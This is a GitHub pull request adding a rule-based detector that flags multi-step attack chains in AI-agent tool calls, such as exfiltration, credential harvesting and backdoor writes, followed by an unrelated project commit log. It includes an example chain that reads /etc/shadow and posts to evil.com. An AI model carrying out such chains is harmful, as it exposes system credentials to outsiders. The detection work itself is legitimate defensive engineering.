Skip to content

feat: multi-step attack-pattern detector with confidence scoring - #5

Open
azizx4 wants to merge 1 commit into
Justin0504:mainfrom
azizx4:feat/attack-pattern-detector
Open

feat: multi-step attack-pattern detector with confidence scoring#5
azizx4 wants to merge 1 commit into
Justin0504:mainfrom
azizx4:feat/attack-pattern-detector

Conversation

@azizx4

@azizx4 azizx4 commented May 31, 2026

Copy link
Copy Markdown

Summary

Adds a new meta-kind detector (aegis.builtin.attack-pattern) that catches multi-step attack chains that existing single-step detectors miss. Each call is individually benign, but the sequence reveals the attack.

Example: read_file("/etc/shadow")http_post("https://evil.com") — each step passes on its own, but together it's data exfiltration. This detector blocks it.

What's new

  • 8 built-in attack playbooks with confidence scoring (0–100):

    Rule Chain Ontology
    DATA_EXFIL sensitive read → outbound send AAT-T5010
    CRED_HARVEST credential discovery → exfiltration AAT-T5011
    PRIV_ESCALATION recon → sensitive read → priv exec AAT-T5012
    PROMPT_INJECTION_CHAIN context poison → exploit AAT-T1001
    DESTRUCTIVE_ACTION recon → delete/drop/truncate AAT-T8004
    ENCODED_EXFIL sensitive read → encode → send AAT-T9001
    SUPPLY_CHAIN package install → execute AAT-T1003
    ARTIFACT_BACKDOOR write backdoor file → execute AAT-T6003
  • Confidence scoring with contextual bonuses/penalties:

    • Bonuses: high sensitivity data, external destination, fast timing, upstream anomaly signals, PPM sequence surprise, SlidingWindow burst detection
    • Penalties: internal destination, low sensitivity, long time gap
    • Configurable thresholds: blockThreshold (default 70), flagThreshold (default 40)
  • Custom Rules API: addRule() / removeRule() / getRules() — tenants can define their own attack playbooks at runtime

  • Wired into /api/v1/check: DetectorRegistry now participates in the check decision pipeline. Critical detector signals block requests (Layer 4, after policy + anomaly + DSL).

  • Environment-configurable: ATTACK_PATTERN_ENABLED, ATTACK_PATTERN_BLOCK_THRESHOLD, ATTACK_PATTERN_FLAG_THRESHOLD, ATTACK_PATTERN_WINDOW_MS

How it differs from existing SEQUENCE_ANOMALY

Existing (PPM) This PR (Attack Pattern)
Statistical: "this transition is unusual" Rule-based: "this is a known attack playbook"
No attack classification Names the attack (DATA_EXFIL, PRIV_ESCALATION, ...)
Binary anomaly score Contextual confidence score with explainable bonuses/penalties
Single transition (bigram) Multi-step chains (2–3+ steps)

Both are complementary — PPM surprise feeds into this detector's confidence as a bonus signal.

Files changed

File Change
detectors/built-in/attack-pattern-detector.ts New detector (480 LOC)
__tests__/attack-pattern-detector.test.ts Unit tests (34 tests)
__tests__/attack-pattern-integration.test.ts Integration tests via DetectorRegistry (15 tests)
__tests__/attack-pattern-vs-existing.test.ts Side-by-side comparison with existing detectors (28 tests)
detectors/index.ts Export new detector + types
config.ts Add attackPattern config section
server.ts Register detector with config + SlidingWindow
api/check.ts Wire DetectorRegistry into check decision pipeline

Test plan

  • 77 new tests across 3 test files — all pass
  • All 558 project tests pass (zero regressions)
  • TypeScript compiles with zero errors (tsc --noEmit)
  • Live server test: read_file("/etc/shadow")http_post("evil.com") returns "decision": "block" with reason "Multi-Step Data Exfiltration detected (confidence 90%)"
  • False-positive guards: read_file("report.pdf")send_email("boss@company.internal") passes through as "allow"

Add a new `meta`-kind detector that identifies multi-step attack chains
by tracking per-agent tool-call history and matching against known
attack playbooks. Each match is scored using contextual signals (data
sensitivity, destination trust, timing, upstream anomaly signals) to
minimize false positives.

8 built-in attack patterns:
- DATA_EXFIL (AAT-T5010): sensitive read → outbound send
- CRED_HARVEST (AAT-T5011): credential discovery → exfiltration
- PRIV_ESCALATION (AAT-T5012): recon → sensitive read → priv exec
- PROMPT_INJECTION_CHAIN (AAT-T1001): context poison → exploit
- DESTRUCTIVE_ACTION (AAT-T8004): recon → delete/drop/truncate
- ENCODED_EXFIL (AAT-T9001): sensitive read → encode → send
- SUPPLY_CHAIN (AAT-T1003): package install → execute
- ARTIFACT_BACKDOOR (AAT-T6003): write backdoor file → execute

Key features:
- Confidence scoring (0-100) with configurable block/flag thresholds
- Custom Rules API: addRule() / removeRule() / getRules()
- PPM upstream integration: sequence_anomaly signals boost confidence
- SlidingWindowStats integration: burst detection increases confidence
- Environment-configurable via ATTACK_PATTERN_* env vars
- Wired into /api/v1/check: critical detector signals block requests

77 new tests across 3 test files. All 558 project tests pass.
Justin0504 added a commit that referenced this pull request Jun 29, 2026
Major work across five threads, captured in one rollup so the working
tree is clean before the next sprint.

═══ 1. Open-core distribution ═══════════════════════════════════════
- scripts/install.sh rewritten as a real binary installer (bun/ollama
  style): OS+arch detect, GitHub Releases tarball, SHA256 verify,
  $PATH wiring, branded ASCII banner.
- .github/workflows/desktop-release.yml — 4-platform matrix (macOS
  arm64 + Intel, Linux x86_64, Windows x86_64) building .dmg / .deb /
  .AppImage / .msi / .exe + sha256 + latest.json updater manifest on
  every `v*` tag push.
- apps/desktop/src-tauri/tauri.conf.json — Tauri updater plugin wired
  to the GitHub Releases latest.json endpoint (pubkey TBD).
- README.md — new "Download AEGIS" hero with three-OS button grid
  (macOS / Windows / Linux) + curl|sh one-liner.

═══ 2. Marketing site (aegistraces.com) ═════════════════════════════
- Domain swap: every reference of aegis.dev → aegistraces.com across
  25+ source files, configs, docs.
- apps/marketing/src/components/HeroAnimation.astro — Railway-grade
  4-scene hero loop (scan → policy → block → audit), payment-company
  scenario, real brand SVGs, floating stat asides, continuous
  micro-animations so no scene ever feels static.
- CompatibleStacks.astro — 8×2 monochrome logo grid, all 16 logos
  verified Simple Icons SVGs (no fakes). Removed LogoWall +
  DesignPartners.
- Testimonials.astro — horizontal scrolling marquee, Unsplash
  professional portraits, real Yue Zhao photo + @Aegis mentions
  highlighted as monospace chips.
- Bento layout reworked: 1:2.4 ratio (image dominant), painted
  canvases removed from screenshot cards, descriptions trimmed.
- All 5 Aegis screenshots wired (overview/activity/agents/violation
  /coverage/memory).
- apps/marketing/public/_redirects — /install, /github, /releases,
  /discord, /paper short links.
- Sign in / Start free buttons point to local /login + /signup that
  actually exist.
- "built by Aojie Yuan" → "built by Justin Yuan".

═══ 3. Cockpit (mock-data layer) ════════════════════════════════════
- New lib/mock-traces.ts — single source of truth for demo data:
  hourly buckets, traces, violations, pending checks, agents, audit
  entries, compliance bundles, memory/cross-agent/PII events.
- Eight cockpit views (overview, activity, approvals, violations,
  agents, policies, coverage, compliance, audit-log, traces) all
  short-circuit to mock when NEXT_PUBLIC_USE_MOCK_TRACES != "false".
- New /memory page (Memory & Cross-Agent layer) — roadmap item #5
  from the research roadmap, three tabs: memory recall, cross-agent
  contamination, pre-instruction PII.
- New lib/activity-description.ts + lib/avatar.tsx for branded row
  rendering with deterministic colored-initial avatars.
- lib/tool-icons.tsx — 31 brand patterns matched against tool names
  (gmail/outlook/icloud/google/bing/openai/anthropic/stripe/coinbase/
  vercel/cloudflare/supabase/firebase/redis/mongo/twilio/sendgrid/
  linear/jira/hubspot/datadog/docker/kubernetes…).
- Fixed hydration mismatch: lib/utils.ts formatDate uses explicit
  field rendering instead of dateStyle:'medium' so Node SSR and
  browser produce identical strings.
- Status-bar Gateway-unreachable banner respects USE_MOCK.

═══ 4. Layer 3 calibration toolkit ══════════════════════════════════
- packages/gateway-mcp/src/calibration/ — Guo et al. 2017 binning
  ECE estimator + reliability diagrams + per-category stratification
  (Liu et al. ICLR 2025 pattern). Pluggable JudgeFn.
- Built-in 30-case benchmark covering normal / block-clear / pii-
  egress / jailbreak / indirect-injection / borderline.
- OpenAI + Anthropic adapters with retry/backoff + per-call rate
  limiting.
- Calibrate CLI: `npm run calibrate -- --judge openai:gpt-4o-mini`.
- Real measurements published in docs/CALIBRATION-REPORT*.md:
  OpenAI gpt-4o-mini ECE 26.5 %, Anthropic claude-haiku-4-5 ECE
  29.2 %. Borderline category catastrophic for both (83 % / 92 %).
- 11/11 unit tests pass.

═══ 5. Strategy + research docs ═════════════════════════════════════
- docs/RESEARCH-ROADMAP.md — synthesis of a 115-agent deep-research
  pass on agent runtime safety SOTA (2024-2026). 8-point optimization
  roadmap with cited evidence and refuted-claim list.
- docs/COMMERCIAL-MODEL.md — open-source + hosted SaaS positioning.
- docs/CALIBRATION-REPORT.md — combined OpenAI vs. Anthropic
  side-by-side calibration analysis.
- docs/DEMO-VIDEO-SCRIPT.md — 90-second hero walkthrough storyboard.
- scripts/setup-stripe.sh + setup-supabase.sh — one-command billing
  + DB provisioning (test mode only, no production secrets).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant